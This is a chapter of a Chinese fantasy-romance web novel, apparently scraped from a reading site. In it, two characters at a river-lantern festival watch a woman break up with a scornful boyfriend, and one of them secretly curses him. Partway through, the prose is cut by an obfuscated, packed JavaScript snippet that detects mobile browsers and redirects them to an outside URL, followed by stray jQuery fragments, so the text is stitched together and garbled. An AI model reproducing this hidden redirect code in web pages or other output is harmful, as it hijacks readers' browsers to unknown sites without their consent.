沈渊默没想到祝棠对这件事这么较真。
她默默记下这点忌讳的点,凑过去安抚他道:“别在意,我只是开玩笑,我当然知道你没这么做。”
精神法术什么的,沈渊默确实不觉得,自己会在毫无所觉的情况下中招,特别当施法者还是一位初出茅庐的魅魔时。
祝棠侧头轻蹭她温热的掌心,格外好哄地再次绽开一脸微笑。
“——希望河灯可以把我的愿望带到天上的神仙那去。”
沈渊默下意识侧过头,看向祝棠身后,发出可爱祈愿的那位年轻女生。
她打扮得像个下凡的小神仙,身穿飘逸的彩衣,头上戴着红艳艳的花饰,正双手合十,微笑着闭眼许愿。
背后泛着粼粼波光的河面与绚烂的灯火将她衬得宛若一幅精心绘制的画作。
沈渊默爱美,她喜爱一切美好的事物,见状不由得勾起唇角,心情越发愉快几分,她对着身旁的另一位美人道:“我们走……”
她的话还没说完,那头又传来一道粗哑的男声,“这你就不懂了吧?”
那人扯着嘴角,轻视地瞥一眼身旁的女生,摇头晃脑地显摆道:“下游都有人在等着呢,到时候捞起来全都给你扔到垃圾桶里。”
沈渊默皱起眉,停下离开的脚步,一眼便锁定了那情商和垃圾一样的男人。
有什么好拽的,一定要在这种场合炫耀一番他的“众人皆醉我独醒”吗?
这人与刚才的女生相比,完全就是个路人模样,一点没有打扮过的痕迹,只能说好歹在出门前把脸洗干净了。
所以在他出声前,沈渊默完全不觉得,这人和刚才那位小神仙能有什么关联。
可他既然这么刻薄地挑刺,那他应该是那位女生的同伴吧?
沈渊默马上又否定了自己的猜测,不一定,以他展现出的普信程度,是个不长眼的路人男倒也不是没可能。
祝棠疑惑地瞟一眼顿住的沈渊默,顺着她的视线看向同一方向。
由于那位普信男破坏气氛的发言,与祝棠做出相同动作的路人也有不少。
女生面色尴尬地环视一圈,眉头为难地皱起,却还是放软了语调安抚那男人,“你干嘛一定要在这种时候泼我冷水。”
看着两人亲昵的举止,沈渊默轻咬舌尖,心情一下败坏不少,那普信男在她眼中的形象越发低下,基本跟个秃顶的河童男位于同一档次。
想到河童,她的思绪停顿一瞬,又在心里对着不知道是否存在的河童校友补了个道歉。
“我只是说实话,这破灯贵么贵得要死,放水里还污染环境,也就你们女的还信这些。”男人不耐地抖着腿,对着河里的一片花海指指点点道。
沈渊默目光转向女生此前放下的河灯,和她们一样都是彩色的小莲灯,景区统一价格,十元一盏,与其余景区相比,算得上很便宜了。
对那男人的发言感到不满的明显不止沈渊默一人,她逐渐开始听到,一些路人正在低声嘀咕着这件事。
位于事件中心的女生显然也发觉了周围人奇异的目光。
她的脸逐渐涨得通红,抬手抓着普信男的手臂小声道:“这只是个传统,我也没说我信啊……”
“我买个开心都不行吗?”她扯扯那人的衣袖,示意他别再说了。
“啧,”男人翻了个白眼,不屑地撇撇嘴,“女人的钱就是好骗,还不如留着给我买皮肤。”
是女生自己买的河灯?这都要管吗?
这样的男朋友,年都过完了还不扔?
沈渊默眉头紧皱,又看向那神仙一般的女生,只见她紧紧攥着拳头,水润的眼中晃动着缥缈的烛光,仿佛凝聚着泪意一般。
沈渊默见不得这些。
她抿唇鼓了下脸又收敛住,松开祝棠的手就打算上前一步,去管点闲事。
“我自己赚的钱我想怎么花怎么花!”
还没等她走上前,女生便颤着肩,咬牙气愤地狠狠推了一把那普信男,由于过于激动,她甚至喊得破了声,音调显得有些嘶哑。
“分手!你就和你那破烂游戏过去吧!”
普信男被她推得脚下一个趔趄,又踩到了湿滑的石板,于是便大睁着眼一屁股坐进了河里,手里还下意识拽走了女生挽在手臂上的披帛。
河岸边的水并不深,却也足够打湿他的整条裤子,令他显得狼狈不堪。
沈渊默望向那女生,惊艳地睁大眼,嘴角高高扬起,笑得阳光灿烂,不带一丝阴霾。
原来那不是泪意,是怒火啊!
见那小神仙失措地愣在原地,茫然地看着坐倒在水里的前男友,沈渊默眸光一转,适时扬声喊道:“哎呀!这里有人不小心滑倒掉水里了!”
身旁的祝棠秒懂,他垂眸看向那男人,咧开嘴附和着喊道:“是啊,这人也太不小心了。”
她俩的语气都十足地做作,但现在没有人在意这一点。
周围人群逐渐反应过来,顿时七嘴八舌地叫唤起来,连声念叨着“是啊是啊”之类的话语,又有人猛地大喊一声,“这男的虚啊,站都站不起来。”
宛如中学自习课时,有人突然喊了声班主任一般,周围人默契地哑了一瞬,随即,人群内外瞬间便充满了快活的空气。
这次轮到那位前男友涨红脸了,他胡乱地对着周围一圈人叫骂,言语粗俗又恶毒,“¥#*&…有病吧你们,管什么闲事!”
沈渊默轻呵一声,完全没把他肮脏的狂吠放在心上,祝棠却瞬间收敛起轻快的笑意,意味不明地俯视着他。
男人一通发泄后,又像是四肢不协调一般爬起来,抖着手指向那女生,“还有你!你、你!亏我还这么喜欢你!”
“XX就不会像你这样!”他如熊孩子般气急败坏地放声大喊,宛若受到了什么刻骨铭心的背叛。
周围的年轻女孩们笑得更欢了,像是指着个小丑般指向他,与好友嘀嘀咕咕道:“天呐,这人以为自己是……”
“神金,本来我混二次元就够自卑了,宅男哥还来搞这套。”好友掩面嫌恶道。
沈渊默下意识向那好友投去一瞥,感觉姜榴要是在,可能也会和她说出相同的话。
除了这些动嘴的,还有不少人都掏出了手机,正兴味盎然地对着那普信男拍摄。
愣在原地的小神仙终于缓过神来,嫌弃地呸他一口后,将弄脏的披帛也一并舍下,走得义无反顾。
沈渊默喜欢这个剧情走向,见状心情都畅快不少,虽然还有点好奇后续,不过……
她瞥一眼身旁的祝棠,突然一把揽住他的肩膀,带着点克制不住的轻松笑意,将他带离现场,“我们走。”
“不再看一会儿吗?”祝棠随她一同挤出汇聚过来凑热闹的人群,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803140|169914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纷乱的嘈杂声逐渐被二人抛至脑后。
“做了坏事当然要跑得越快越好。”沈渊默微微低下头,凑在他耳边小声提醒道。
祝棠难为情地抿起唇,“你知道了。”
“你也没想着瞒我。”沈渊默捏一把他温烫柔软的耳垂。
“不过我就算了,你不担心被别人发现吗?之前你还提醒我别在校外动手,怎么现在自己反而不怕了。”
祝棠红着耳根,腼腆地微笑道:“没事,恶魔系的诅咒都很隐晦,而且他肯定不会乱说出去的,除了我们,没有任何人会知道这件事。”
——知道他对那男人下了诅咒。
“这么有自信?”沈渊默心里犯嘀咕,这跟他一贯的谦逊风格并不相符。
她敏锐地提问道:“诅咒效果是什么?”
“我的诅咒比起安吉尔,在一些特殊方面会有更多的选择,所以……”
祝棠坏心眼地咧开嘴,“是ED,以那人的性格,在诅咒消散前都不会好过的。”
沈渊默先是惊讶地扬起眉,接着突然捂着嘴笑开了,“天呐祝棠,你什么时候跟着我们学坏了。”
她还记得她俩刚认识的时候,祝棠是多么纯良的一个乖孩子,现在居然都能做出这么有意思的事情来了。
不过这点小事,就算真的被管理部发现,也没什么大不了的,虽然手段有些特殊,但简单来说,也不过就是路见不平扇了别人一巴掌罢了。
不论如何,沈渊默都有信心能帮他担过去,所以刚才,她才并没有阻止他这么做。
而现在,她也只是轻柔地捏一把祝棠的后颈。
这完全算不上惩罚,说是安抚或是奖赏还差不多。
祝棠抓着她腰间的衣物,紧紧贴在她身旁,仰起脸撒憍道:“我从来都没有你想的那么好。”
“也没你自己觉得的那么坏,”沈渊默柔声道,“你一向讨厌践踏爱意的人,会这么讨厌那人也不奇怪。”
“你真的把我想得太好了,”祝棠歪头蹭蹭她的颈侧,低声嘀咕道,“才不是因为这些。”
“好吧,那是我误会了,你是个坏孩子。”
沈渊默轻笑着摇摇头,不与他争论,反正以她对祝棠的了解,做出这些事的理由,怎么都和“爱”有关就是了。
祝棠闻言鼓起脸,不知道在别扭些什么,但很快又认命般泄气道:“就是这样,我们继续逛吧。”
两人没走几步,天上便飘起了零星的雪花。
沈渊默仰头望天,如羽毛般轻盈的白雪宁静地落下,旋转着降落在她眼睫上,又逐渐化为水滴,带来一抹冰凉的湿意。
“下雪了。”
她扬起嘴角,惊喜地感叹道,带着一位南方人对雪纯粹的喜爱之情,摊开手掌感受着这一年难见几回的美景。
祝棠曲起指节,擦去她脸颊上化开的水滴,另一只手摸向挎包,“我……”
“幸好我有带伞,”沈渊默庆幸道,从外衣的深口袋里摸出把轻巧的折叠伞,“我们一起撑吧,你靠近点挽着我。”
祝棠顿时掩下未尽的话,收回摸包的手,面上也迅速扬起明媚的笑意,两手亲昵地抱住沈渊默的手臂。
“好哦,渊默想得真周到。”
沈渊默轻笑出声,带着如彩云般轻飘飘的情绪,与他一同漫步在五颜六色的花灯与纯色的雪花之间。